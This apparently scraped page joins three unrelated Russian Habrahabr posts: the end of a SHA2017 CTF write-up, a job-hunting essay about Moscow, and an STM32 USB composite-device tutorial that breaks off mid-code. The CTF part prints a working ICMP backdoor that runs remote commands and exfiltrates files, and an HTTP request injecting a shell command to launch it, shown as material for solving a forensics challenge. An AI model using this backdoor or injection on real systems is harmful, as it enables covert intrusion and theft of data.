    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass

© 2017, SHA2017 CTF
GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1

backdoor.py
#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass


А так же параметры для запуска этого скрипта:


abuse02.pcap


Изменим немного полученный скрипт:
backdoor.patch
--- backdoor_original.py	2017-08-06 18:21:29.575844000 +0300
+++ backdoor.py	2017-08-06 18:24:20.662678100 +0300
@@ -70,22 +70,16 @@
 
 cipher = AESCipher(sys.argv[1])
 
-while True:
-    try:
-        pkts = sniff(filter="icmp", timeout=5, count=1)
-
-        for packet in pkts:
-            if str(packet.getlayer(ICMP).type) == "8":
-                input = packet[IP].load
-                if input[0:len(magic)] == magic:
-                    input = input.split(":")
-                    data = cipher.decrypt(input[1]).split(":")
-                    ip = packet[IP].src
-                    if data[0] == "command":
-                        output = run_command(data[1])
-                        send_ping(ip, magic, "command:{}".format(output))
-                    if data[0] == "getfile":
-                        # print "[+] Sending file {}".format(data[1])
-                        get_file(ip, magic, data[1])
-    except:
-        pass
+file = {}
+try:
+    pkts = rdpcap(sys.argv[2])
+    fname = ''
+    for packet in pkts:
+        if str(packet.getlayer(ICMP).type) == "8":
+            input = packet[IP].load
+            if input[0:len(magic)] == magic:
+                input = input.split(":")
+                data = cipher.decrypt(input[1]).split(":")
+                print('[] DATA: %s' % data)
+except:
+    pass


Нам не нужно чтобы скрипт перехватывал сетевые пакеты и выполнял команды, вместо этого теперь он читает полученный дамп трафика, и выводит его содержимое в консоль. Применим эти изменения, и запустим его:
$ patch < backdoor.patch
$ ./backdoor.py K8djhaIU8H2d1jNb ./abuse02.pcap

Среди полученного вывода, наибольший интерес для нас представляют сертификаты:


Сохраним их себе, они нам ещё понадобятся. Из интересного, в самом конце можно заметить, отправку 2-х команд для активации перехвата трафика внутри сети, и с HID-устройств:


abuse03.pcap


Запустив тот же скрипт для последнего дампа, можно заметить, что он содержит команды на получение созданных ранее дампов, так как файлы перед отправкой разбиваются на множество частей, а склеивать в ручную всё это лень, то внесём в backdoor.py, ещё пару изменений:
backdoor.patch
--- backdoor.py	2017-08-06 18:40:20.763604400 +0300
+++ backdoor.py	2017-08-06 18:39:42.072949300 +0300
@@ -68,8 +68,16 @@
         t.join()
 
 
-cipher = AESCipher(sys.argv[1])
+def save_file(data, fname):
+    file = open(fname, 'w')
+    txt = ''
+    for x in range(len(data)):
+        txt += data[x]
+    file.write(base64.urlsafe_b64decode(txt))
+    file.close()
+
 
+cipher = AESCipher(sys.argv[1])
 file = {}
 try:
     pkts = rdpcap(sys.argv[2])
@@ -81,5 +89,17 @@
                 input = input.split(":")
                 data = cipher.decrypt(input[1]).split(":")
                 print('[] DATA: %s' % data)
+                ip = packet[IP].src
+                if data[1].isdigit():
+                    file[int(data[1])] = data[2]
+                else:
+                    fname = data[1]
+                    save_file(file, 'intranet.pcap')
+                    file = {}
+                if data[0] == "command":
+                    pass
+                if data[0] == "getfile":
+                    print "[+] Sending file {}".format(data[1])
+    save_file(file, 'usb.pcap')
 except:
     pass


Применяем и запускаем:
$ patch < backdoor.patch
$ ./backdoor.py K8djhaIU8H2d1jNb ./abuse03.pcap

На выходе, получаем 2 файла: intranet.pcap и usb.pcap:


Первый дамп содержит SSL трафик, поэтому предварительно, нужно добавить найденный ранее сертификат. Переходим Edit -> Preferences -> Protocols -> SSL:
RSA key list
IP address: 192.168.1.2
Port: 443
Protocol: data
Key File: intranet.key

Применив настройки, извлекаем единственный архив secret.zip:


И казалось бы, всё. Архив у нас, в архиве флаг, осталось его только забрать. Но! Авторы видимо решили максимально осложнить жизнь, тем кто будет решать их таск, зашифровав содержимое архива паролем:


Вспоминаем, про второй дамп usb.pcap, ещё пара запросов в гугл, и находим статью и скрипт, с помощью которого можно прочитать содержимое этого дампа.
Добавив в скрипт поддержку большего количества скан-кодов, и проверку нажатия клавиши shift — это байт по смещению 0x40. На скрине ниже «желтым квадратом» отмечен скан-код, а «желтым прямоугольником» — байт состояния клавиши shift, так же нам понадобится URB id:


В итоге, получаем такой вариант keyboard.py, для парсинга USB пакетов:
#!/usr/bin/python
import binascii
import dpkt
import struct
import sys

# Start the pcap file parsing
f = open(sys.argv[1], 'rb')
pcap = dpkt.pcap.Reader(f)

# Create a partial mapping from keycodes to ASCII chars
keys = {}
keys.update({
    i + 0x4: chr(i + ord('a'))
    for i in range(26)
})
keys.update({
    i + 0x1e: chr(i + ord('1'))
    for i in range(9)
})
keys[0x27] = '0'
keys.update({
    0x28: '\n',
    0x2b: '\t',
    0x2c: ' ',
    0x2d: '-',
    0x2e: '=',
    0x2f: '[',
    0x30: ']',
    0x31: '\',
    0x33: ';',
    0x34: ''',
    0x35: '`',
    0x36: ',',
    0x37: '.',
    0x38: '/',
})
keys_shift = {}
keys_shift.update({
    i + 0x4: chr(i + ord('A'))
    for i in range(26)
})
keys_shift.update({
    0x1e: '!',
    0x1f: '@',
    0x20: '#',
    0x21: '$',
    0x22: '%',
    0x23: '^',
    0x24: '&',
    0x25: '*',
    0x26: '(',
    0x27: ')',
    0x2e: '+',
    0x2f: '{',
    0x30: '}',
    0x31: '|',
    0x33: ':',
    0x34: '"',
    0x35: '~',
    0x36: '<',
    0x37: '>',
    0x38: '?',
})

txt = ''
# Then iterate over each USB frame
i = 0
for ts, buf in pcap:
    # We are interested only in packets that has the expected URB id, and
    # packets carrying keycodes embed exactly 8 bytes.
    urb_id = ''.join(reversed(buf[:8]))
    i += 1
    if binascii.hexlify(urb_id) != 'ffff8800290f2ac0':
        continue
    data_length, = struct.unpack('code>

После запуска скрипт выводит все нажатые клавиши:


Отлично, у нас есть пароль, пора распаковать архив и наконец-то забрать флаг:


Задание пройдено. За этот флаг можно было получить +300 очков в команду.
Спасибо организаторам, за такой интересный таск!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335012/


Метки:  

Как я в очередной раз искал работу в Москве. Опыт длиной в полгода

Понедельник, 07 Августа 2017 г. 00:42 + в цитатник
Эпиграф
Папа, папа, водка подорожала, ты теперь будешь меньше пить?

Ранней весной 2016 года, сидя дома и сводя собственный бюджет (Кстати, а вы ведете бюджет? Очень помогает определиться с вашей личной и реальной инфляцией), я внезапно обнаружил страшное – денег нет. Поплакав минуты две, принял Важное и Ответственное Решение – пойти к начальству, рассказать про мою печальную судьбу. Начальство в приеме не отказало, вывернуло правый карман, сказало что денег нет, сами понимаете – обстановка сложная, все такое, машину даже пришлось купить на 3.5 литра, а не 4.5, и не люкс. Что делать было не понятно, ведущий специалист по майнингу всея ЖЖ тогда еще не рассказал о приходе к успеху, биткойн не стоил 3000$, пришлось выкручиваться самому.

TL/DR – рынок труда и собеседований в офисном сегменте, ничего нового по сравнению со старой статьей, одна вода и капитанство. Работ нашел сразу две, пришлось выбрать одну

Один очень верующий человек в течении 20 лет каждый день молил Господа, чтобы тот дал выиграть ему в лотерею. Но его молитвы оставались напрасными. И вот однажды, он поднял к небесам седую голову и со слезами на глазах вопросил Господа:
— О Господи, я ли не молил тебя, я ли не служил тебе, я ли не вел праведную жизнь, так почему ты так и не даёшь мне то, что я так долго у тебя прошу???


Где разместить резюме.
Сначала пришлось определиться с тем, где разместить резюме. Выбор был между headhunter(hh), jobru, моим кругом, monster и Linkedin. Про careers.google.com я тогда не знал.
Конечно, тут можно было бы написать много слов про охват аудитории, успешность поисков, качество и так далее, но у меня было старое резюме на hh, а от jobru в прошлый раз у меня остались смешанные впечатления. Поэтому был выбран hh, резюме обновлено и открыто для поисков.

Оформление резюме.
Любой сайт по смене работы вполне группирует навыки/опыт/прочая по группам. Главный вопрос – ставить или нет фотографию, если да – то какую, отображающую ваш богатый внутренний мир, или «как в паспорте». Честно говоря, я вообще не представляю, кто и что про это думает, так что у меня стоит фотография в стиле паспорта, более или менее актуальная.
Насколько это помогает или мешает – исследований не проводил и не видел.

Содержание резюме.
Ни разу не было и вот опять. Подавляющая часть HR-ов ищет в резюме ключевые слова. Стоит один раз написать SAP, даже если в тексте будет «рядом постоял» — будут звонить и предлагать идти работать в SAP-еры. Поэтому, конечно, ключевые слова в резюме нужны, с другой стороны — будьте готовы ответить за их упоминание в тексте.
Как искать ключевые слова: отбираете вакансии и оттуда выписываете что знаете. Что не знаете тоже выписываете и потом гуглите, может вы это знаете. Или будет повод почитать про то, что это.

Сколько ставить денег.
Вообще не важно, работать в нашем банке-большая честь! У меня сложилось устойчивое впечатление, что ряд граждан с богатой фантазией просто умножают зарплатные ожидания на 2, затем торгуются c HR. Не то, чтобы это плохо, но такой подход есть – поставил ожидаемый оклад в 2 раза выше среднерыночной стоимости специалиста, прокатило на 1.5 – уже молодец. Не прокатило – тоже бывает, это рынок, а не бюджет с единой тарифной сеткой. С другой стороны, каждый раз HR-ы спрашивают, а это вот вы написали gross или на руки, а готовы ли поторговаться. Обычная жизнь. Выбирайте сами, оптимальной и универсальной тактики нет, но проанализировать рынок стоит, причем не один раз – например, здраво оценив свой опыт после 1-2 собеседований, или 1-2 недель без откликов и приглашений.

Анализ рынка труда г. Москвы за 1.5 года.
Мои заметки по зарплатам и требованиям я уже вывесил, в том числе с табличкой и комментариям, переписывать нет смысла.

Откликаться или сидеть в засаде.
Праведный Мойша всю жизнь молился Богу и уповал на него. И вот, однажды в городе, где он жил, началось наводнение.
Мойша погрузился в молитвы о спасении, а вода тем временем поднялась до середины первого этажа.
Мимо проплывали его друзья на лодке:
— Садись, Мойша, мы спасем тебя.
— Нет, отвечал Мойша, меня Бог спасет.


Откликаться. Особенно на интересные вакансии, даже если там не указан оклад. Телефонный разговор конечно стоит… сколько-то.

Статистика по просмотрам-приглашениям и времени экспозиции.
Статистика по просмотрам и приглашениям с года, скажем, 2012, ухудшилась в несколько раз. С одной стороны, я стал более жадным. С другой – сменились требования, которые бы отвечали возросшей жадности. С третьей – сам рынок сменился.
В 2011-2012 году можно было обновлять резюме раз в неделю, и в день было по 5 просмотров, из них 1-2 обязательно заканчивались звонком и приглашением. 2 собеседования в день были нормальной практикой.
В 2016-2017 стоило обновлять резюме 1 раз в 1-2 дня, в день было 0-3 просмотра, приглашений поступало 1-2 в неделю.

Не могу сказать, чтобы я ходил на собеседование как-то чаще 1-2 раз в месяц, однако с десяток – другой собеседований за полгода посетил. На некоторые позиции проходил я, но не очень проходила организация. На некоторые места искали по тем ключевым словам, которые у меня в резюме были, но как «рядом постоял, из-за плеча посмотрел», тут все заканчивалось на уровне еще телефонного разговора. На некоторые не проходил потому, что искали более развитого или более всесторонне развитого кандидата.
Что значит «не проходила организация».
Все просто – организация указывает одно размещение как основное, а фактическое может находиться совсем в другом. Серые зарплаты – вещь на любителя. Уже после прохождения всех собеседований может оказаться, что хотя на сайте написано «от N денег» — на самом деле это ДО N, а N до вычета НДФЛ. Может не оказаться ДМС, хотя казалось бы, цена вопроса не так велика.
Подробнее о том, какая бывает нематериальная мотивация и какие фокусы с материальной читать тут
Бывает, что организация вроде бы ничего, но расположена чертовски далеко, и никак это не компенсирует. Вообще никак. Требования высокие, а ни зарплат, ни бонусов, ни чего-то интересного для опыта и резюме.

Куда ходить очень внимательно.
Есть три типа очень странных и специфических мест.
1. Вся оборонка и около-оборонка. Проблема: одно неосторожное движение, и у тебя появляется допуск и пропадает загранпаспорт. Здравствуй, дорогой Крым, прощай дешевая Турция, прощайте Кипр, VMworld и кое-какие экзамены Pearson VUE, которые в РФ не сдаются. Причем достаточно рядом постоять, и ты 5 лет не выездной. Плюс предварительные проверки СБ, ФСБ, справки о отсутствии судимости и так далее. Если бы это еще компенсировалось хоть как-то (например деньгами!), но нет. Есть какие-то доплаты за секретность, но они не компенсируют разницы в цене/сервисе, особенно если цену считать на 4 человек.

2. Банки. Дело даже не в том, что банковский сектор лихорадит, а в требованиях к кандидатам и срокам проверки. Через месяц могут сказать «не подошел». Почему – не пояснят.

3. Места, где HR проводит проверки на что-то большее, чем наличие рук, ног, глаз, способности прийти на собеседование вовремя, без перегара, и побрившись. Желательно в однотонной чистой рубашке, но это вкусовщина, насчет однотонной, хотя футболка с девизом «ЯУПРЛС» и характерными листьями – наверное, перебор. НО. Как только начинаются психологические тесты на 120 вопросов, рассуждения «что вы знаете про нашу кампанию», «как вы видите себя через 5 лет» и прочая – можно сразу считать вопрос трудоустройства проваленным. Во первых, с точки зрения ИТ в средней фирме ничего уникального нет. Во вторых, подавляющая часть фирм ничем на рынке среди десятков таких же не выделяется. В третьих, если на HR взяли кого-то с такими вопросами и правом принимать решения – стоит ждать внезапных сюрпризов и на других местах, начиная от конструкций из двухкомпонентного биоматериала, один из которых вторсырье.

С чем пришлось столкнуться.
Недавно вышла отличная статья – «Антипаттерны для поиска соискателей». В дополнении к вот этой — Собеседование на junior позицию. Антипатерны собеседующих.

Почти все в них сказанное, и в комментариях дополненное, справедливо не только для разработки, но и для всего ИТ в целом. Да, HR агентства и девочки из кадров – это такая очень отдельная тема.

Мывамперезвоним.
Скажу так – если вас сразу не спросили «когда мы можем вас ждать» и не сказали «все, ждем» — это еще ничего не значит. В одном случае мне сообщили за два дня до выхода на новое место, что они передумали, в другом перезвонил сам, и оказалось, что там все изменилось совсем.
Так что через 2-3 дня лучше перезвонить самому, скажут так скажут. Скажут что еще думают – хорошо, пусть думают.

Есть ли потолок по зарплатам.
Есть, для каждого уровня квалификации он свой. Для эникея один, для архитектора другой. В разного рода газмясах потолок выше, чем в ООО Вектор, но и требования разные.

Есть ли польза от простого хождения по собеседованиям.
Польза есть.
Во первых, на собеседованиях задают реальные вопросы, и иногда даже поясняют реальные ответы. Чем выше уровень, заявленный кандидатом, тем более интересные вопросы будут задаваться.
Например, из простых вопросов: есть два офиса, 400 и 100 человек в каждом. Связаны каналом в 2 мбит. Внутри все на Microsoft.
Вопрос: какое минимальное необходимое для нормальной работы число серверов, и с какими ролями и задачами надо развернуть в каждом офисе? Понимая это как то, что экономить уж совсем не стоит, но и покупать 2 HPE C7000 в каждый офис никто не планирует.

Во вторых, хождение по собеседованиям позволяет закалить нервы, чтобы не сидеть и не дрожать, как школьник в гостях у одноклассницы с родителями на даче.

И в третьих, успешное прохождение пары-тройки этапов собеседования (резюме-отклик/запрос – телефонное собеседование – первое очное и так далее), даже с отклонением резюме по каким-то своим внутренним мотивам повышает тонус, самомнение и вообще позволяет утверждать, что вы на верном пути. Если же нет – может, стоит заняться самопроверкой? Мир конечно суров и несправедлив, но с другим миром есть некоторые сложности.

Нужны ли сертификаты о всяких курсах и сданных экзаменах Pearson VUE.
Нужны — если вы идете туда, где они используются. Или, если вы сами отлично знаете, зачем вы их учили и сдавали. В остальных случаях – не очень нужны.

Можно ли научиться по книжкам и дампам?
Научиться можно находясь везде.
А вот применить знания на практике и получить за это денег — другой вопрос.
Продакшн — он как секс.
Сколько ни читай и даже подглядывай, — на деле оно совсем по другому.

тов. Евгений Б. из переписки.
(Оригинал — “Big data is like teenage sex: everyone talks about it, nobody really knows how to do it, everyone thinks everyone else is doing it, so everyone claims they are doing it...” (Dan Ariely, Duke University))

Ходить ли на собеседования вместо работы.
Обычно у человека работа все же есть. Случаи любителей мамкиных котлет и денег в тумбочке рассматривать не будем, поэтому как-то надо совмещать текущую работу и собеседования.
Работодателя тоже понять можно – он, принимая вас на работу, все же писал в трудовом договоре 5 рабочих дней, по 8 часов плюс обед – всего 40 рабочих часов, а не 4 дня по 4 часа и один раз опоздать, всего 15 часов. Поэтому возможностей не так много – это и хождения по собеседованиям в период своего отпуска, или в накопленные отгулы, и иногда допускаемый уход с работы пораньше, или согласованный приход попозже. Иногда такое позволяет график вида сутки-трое. В некоторых случаях можно и прямо сказать – я пошел на собеседование. В некоторых же наоборот, даже слух про такое может привести к строгим рекомендациям начальства написать по собственному здесь и сейчас. Везде по разному, особенно в регионах. Вообще в регионах сговор работодателей – рядовое дело, с звонками между фирмами.
Можно и уходить без оффера (предложения) с нового места на руках – если у вас есть представление о рынке, запас денег и рассчитанный домашний бюджет. Времена нынче действительно не те, что раньше, поиск может затянуться, а тумбочка и мамкины котлеты есть не у всех.

Можно ли понять куда расти, из вакансий?
Конечно можно.
Пример из фактической вакансии — Требования к Senior Systems Engineer:
  • экспертное знание как минимум одного гипервизора
  • хорошо почитать про внутренности из публичных источников для VMware
  • отличное знание линейки и технологий как минимум одного вендора СХД
  • знания гостевых операционных систем, в том числе Windows Server на уровне MCSA 2003 или выше, Linux
  • знание базовых информационных сервисов (DNS, NTP, DHCP и так далее)
  • свободное владение английским (чтение/понимание), уметь связно выразить свою мысль письменно
  • понимание сетевого стека и умение обращаться с сетевым оборудованием как минимум одного крупного вендора
  • уметь в VDI как минимум одного вендора
  • умение проектировать полный аппаратный и системный стек под задачу


Чем вся закончилось у меня.
Все было очень скучно и предсказуемо. Получил предложение. Прошел собеседования. Получил на одном месте работы трудовую книжку, скатался к еще теплому морю в Турцию, там искупался, выспался, отъелся. Вышел на новое место, за чуть больше денег и нематериальной мотивации.

SO SLOOOOOOOOOOOOOOOOOOW
Иногда случаются прорывы из прошлого. Например, сходил ты куда-то, прошел три собеседования, тебе пообещали перезвонить, не перезвонили. Или перезвонили и сказали, что вы знаете, но мы поищем кого-то подешевле, и поопытней.
Через два месяца, после того как ты уже вышел на новое место, отгулял на новогоднем корпоративе — тебе вдруг звонят с рассказами «вы знаете, мы тут 3 месяца думали и решили что вы нам подходите!11. »

Что еще почитать по теме
Собеседуй меня полностью. Или как избавиться от холодных рук на собеседованиии
Как рассказывать о себе на собеседовании
Как часто надо ходить по собеседованиям, даже не собираясь менять работу?

Никто ещё не голосовал. Воздержавшихся нет.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335024/


Метки:  

CDC+MSC USB Composite Device на STM32 HAL

Воскресенье, 06 Августа 2017 г. 23:48 + в цитатник
image

Мне хотелось бы верить, что хотя бы половина читателей может расшифровать хотя бы половину названия статьи :) Кто не в курсе — поясню. Мое устройство должно реализовывать сразу две USB функции:

  • Mass Storage Device (он же Mass Storage Class — MSC). Я хочу, чтобы мой девайс прикидывался обычной флешкой и отдавал файлики с данными, которые лежат на SD карте.
  • Другая функция это виртуальный COM порт (он же в терминологии USB называется Communication Device Class — CDC). Через этот канал у меня идет всякий дебажный вывод, который удобно смотреть обычным терминалом.

В большинстве примеров по работе с USB реализуется только один тип устройства — флешка, мышка, кастомное HID устройство или виртуальный COM порт. А вот найти вменяемое объяснение как реализовать хотя бы две функции одновременно оказалось не так просто. В своей статье я хотел бы восполнить этот пробел.

Я буду описывать создание композитного USB устройства на базе микроконтроллера STM32, но сам подход будет также применим и для других микроконтроллеров. В статье я детально разберу каждый из классов по отдельности, так и принцип построения композитных устройств. Но обо все по порядку.

Итак, поехали!


Немного теории



Интерфейс USB очень сложный, многоуровневый и многогранный. С наскоку его не осилить. В одной из статей (забыл, правда, в какой) видел фразу в стиле “прочитайте эту статью 2 раза, а потом на утро еще раз”. Да, он такой, с первого раза точно не осилишь. Лично у меня интерфейс более-менее разложился по полочкам только через пару месяцев активного копания и чтения спецификаций.

Я по прежнему не являюсь экспертом в USB, а потому рекомендовал бы обратиться к статьям, которые бы детальнее рассказали суть происходящего. Я лишь укажу на самые важные места и вкратце поясню как оно работает — по большей части во что вляпался сам. В первую очередь я бы рекомендовал Usb in a nutshell (перевод), а также USB Made Simple (сам не читал, но многие рекомендуют). Также нам понадобятся спецификации для конкретных классов USB устройств.

Наверное, самой главной штукой в интерфейсе USB является дескриптор. Точнее даже пакет дескрипторов. Когда устройство подключается к шине хост запрашивает дескрипторы устройства, которые описывают возможности устройства, скорости обмена, частоту опроса, какие интерфейсы реализовывает устройство и много чего другого. Дескриптор штука важная и весьма нежная — даже ошибка в одном байте приведет к тому, что устройство работать не будет.

Устройство описывает себя с помощью нескольких дескрипторов разного типа:
  • Дескриптор устройства (Device Descriptor) — описывает устройство в целом, его название, производитель, серийный номер. Строковые данные описываются отдельными строковыми дескрипторами (String Descriptor)
  • Дескриптор конфигурации (Configuration Descriptor) — устройство может иметь одну или несколько конфигураций. Каждая конфигурация определяет скорость общения с устройством, набор интерфейсов и параметры питания. Так, например, ноутбук, который работает от батареи, может попросить устройство (выбрать конфигурацию) использовать более низкую скорость обмена и переключиться на собственный источник питания (вместо ноутбучной батареи). Разумеется это работает только если устройство предоставляет такую конфигурацию.
  • Дескриптор интерфейса (Interface descriptor) — описывает интерфейс общения с устройством. Интерфейсов может быть несколько. Например разные функции (MSC, CDC, HID) будут реализовывать свои интерфейсы. Некоторые функции (например CDC или DFU) реализуют сразу несколько интерфейсов для своей работы. В нашем случае композитного устройства нам потребуется реализовать сразу несколько интерфейсов от разных функций и заставить их ужиться друг с другом.
  • Дескриптор конечной точки (Endpoint descriptor) — описывает канал связи в рамках конкретного интерфейса, задает размер пакета, описывает параметры прерываний. Используя конечные точки мы будем получать и принимать данные.
  • Есть еще куча разных дескрипторов, которые описывают отдельные аспекты конкретных интерфейсов

Хост запрашивает дескрипторы одним потоком байт. Очень важно, чтобы в пределах одной конфигурации дескрипторы шли в определенном порядке, иначе хост запутается какой дескриптор к чему. Каждая конфигурация состоит из дескриптора конфигурации и набора дескрипторов описывающих интерфейсы. Каждый интерфейс описывается дескриптором интерфейса и набором дескрипторов конечных точек. Каждая сущность возит свои дескрипторы рядом.

Еще нужно понимать, что USB это хост ориентированный протокол. Настройка устройства, прием, передача — все в USB управляется со стороны хоста. Для нас это означает, что со стороны микроконтроллера нет никакого потока управления — вся работа с USB построена на прерываниях и обратных вызовах (callback). А это, в свою очередь, означает что нам не желательно запускать долгоиграющие операции и нужно быть очень аккуратными при взаимодействии с другими прерываниями (учитывать приоритет, и все такое прочее). Впрочем, попробуем не опускаться на такой низкий уровень.

Также хост-ориентированность проявляется еще и в названии функций. В терминологии USB направление от хоста к устройству называется OUT, хотя для контроллера это прием. И наоборот, направление от устройства к хосту называется IN, хотя для нас это означает отправку данных. Так что в микроконтроллере функция DataOut() на самом деле принимает данные, а DataIn() — отправляет. Но это так, к слову — мы будем пользоваться уже готовым кодом.

CDC — виртуальный COM порт


Наверное взять и сразу наваять композитное устройство целиком не выйдет — слишком много нюансов и подводных камней. Я думаю лучше будет сначала отладить каждый интерфейс в отдельности, а потом переходить к композитному устройству. Начну с CDC, т.к. он не требует никаких зависимостей.

Я недавно переехал на STM32 Cube — пакет низкоуровневых драйверов для STM32. В нем есть код по управлению USB с реализацией отдельных классов USB устройств. Возьмем шаблонные реализации USB Core и CDC и начнем пилить под себя. Заготовки лежат в директории \Middlewares\ST\STM32_USB_Device_Library. Я использую Cube для контроллеров серии STM32F1, версия Cube — 1.6 (Апрель 2017), версия библиотеки USB из комплекта — 2.4.2 (декабрь 2015)

Шаблонная реализация библиотеки подразумевает написание собственного кода в файлах с названием template. Без понимания всей библиотеки и принципов работы USB это сделать достаточно сложно. Но мы пойдем проще — сгенерируем эти файлы с помощью графического конфигуратора CubeMX.

Реализация предоставленная CubeMX готова к работе прямо из коробки. Аж даже немного обидно, что не пришлось писать никакого кода. Придется изучать CDC на примере полностью готовой реализации. Давайте взглянем на самые интересные места в сгенерированном коде.

Для начала заглянем в дескрипторы, которые находятся в файлах usbd_desc.c (дескриптор устройства) и usbd_cdc.c (дескрипторы конфигурации, интерфейсов, конечных точек). В статье usb in a nutshell (на русском) есть очень детальное описание всех дескрипторов. Не буду описывать каждое поле в отдельности, остановлюсь лишь на самых важных и интересных полях.

Дескриптор устройства
#define USBD_VID     1155
#define USBD_LANGID_STRING     1033
#define USBD_MANUFACTURER_STRING     "STMicroelectronics"
#define USBD_PID_FS     22336
#define USBD_PRODUCT_STRING_FS     "STM32 Virtual ComPort"
#define USBD_SERIALNUMBER_STRING_FS     "00000000001A"
#define USBD_CONFIGURATION_STRING_FS     "CDC Config"
#define USBD_INTERFACE_STRING_FS     "CDC Interface"
 
#define USBD_MAX_NUM_CONFIGURATION     1
 
/* USB Standard Device Descriptor */
__ALIGN_BEGIN uint8_t USBD_FS_DeviceDesc[USB_LEN_DEV_DESC] __ALIGN_END =
 {
   0x12,                       /*bLength */
   USB_DESC_TYPE_DEVICE,       /*bDescriptorType*/
   0x00,                       /* bcdUSB */  
   0x02,
   0x02,                        /*bDeviceClass*/
   0x02,                       /*bDeviceSubClass*/
   0x00,                       /*bDeviceProtocol*/
   USB_MAX_EP0_SIZE,          /*bMaxPacketSize*/
   LOBYTE(USBD_VID),           /*idVendor*/
   HIBYTE(USBD_VID),           /*idVendor*/
   LOBYTE(USBD_PID_FS),           /*idVendor*/
   HIBYTE(USBD_PID_FS),           /*idVendor*/
   0x00,                       /*bcdDevice rel. 2.00*/
   0x02,
   USBD_IDX_MFC_STR,           /*Index of manufacturer  string*/
   USBD_IDX_PRODUCT_STR,       /*Index of product string*/
   USBD_IDX_SERIAL_STR,        /*Index of serial number string*/
   USBD_MAX_NUM_CONFIGURATION  /*bNumConfigurations*/
 } ;
/* USB_DeviceDescriptor */


Тут нас интересуют такие поля:
  • bDeviceClass, bDeviceSubClass и bDeviceProtocol — описывают хосту что же это у нас за устройство такое, что оно умеет и какие драйвера нужно грузить. В данном случае тут сказано, что устройство у нас реализует Communication Device Class, а значит хосту нужно сделать виртуальный COM порт и связать его с этим устройством
  • PID (Product ID) и VID (Vendor ID) — по этим полям хост различает разные устройства, подключенные к системе. Устройства при этом реализовывать одинаковый класс. Говорят для устройств продаваемых на рынке очень важно иметь уникальные VID/PID, но я не узнавал кто и где выдает эти ID-шники. Для домашнего устройства в единственном экземпляре достаточно значений по умолчанию

Обратите внимание, что строковые константы (название устройства, серийный номер) не прописаны в самом дескрипторе. Строки описываются отдельными дескрипторами, а все остальные только указывают индекс строки. Строковый дескриптор в случае библиотеки от ST генерируется на лету (грррррр), поэтому приводить я его не буду.

Дескритор конфигурации
__ALIGN_BEGIN const uint8_t USBD_CDC_CfgHSDesc[USB_CDC_CONFIG_DESC_SIZ] __ALIGN_END =
{
 /*Configuration Descriptor*/
 0x09,   /* bLength: Configuration Descriptor size */
 USB_DESC_TYPE_CONFIGURATION,      /* bDescriptorType: Configuration */
 USB_CDC_CONFIG_DESC_SIZ,                /* wTotalLength:no of returned bytes */
 0x00,
 0x02,   /* bNumInterfaces: 2 interface */
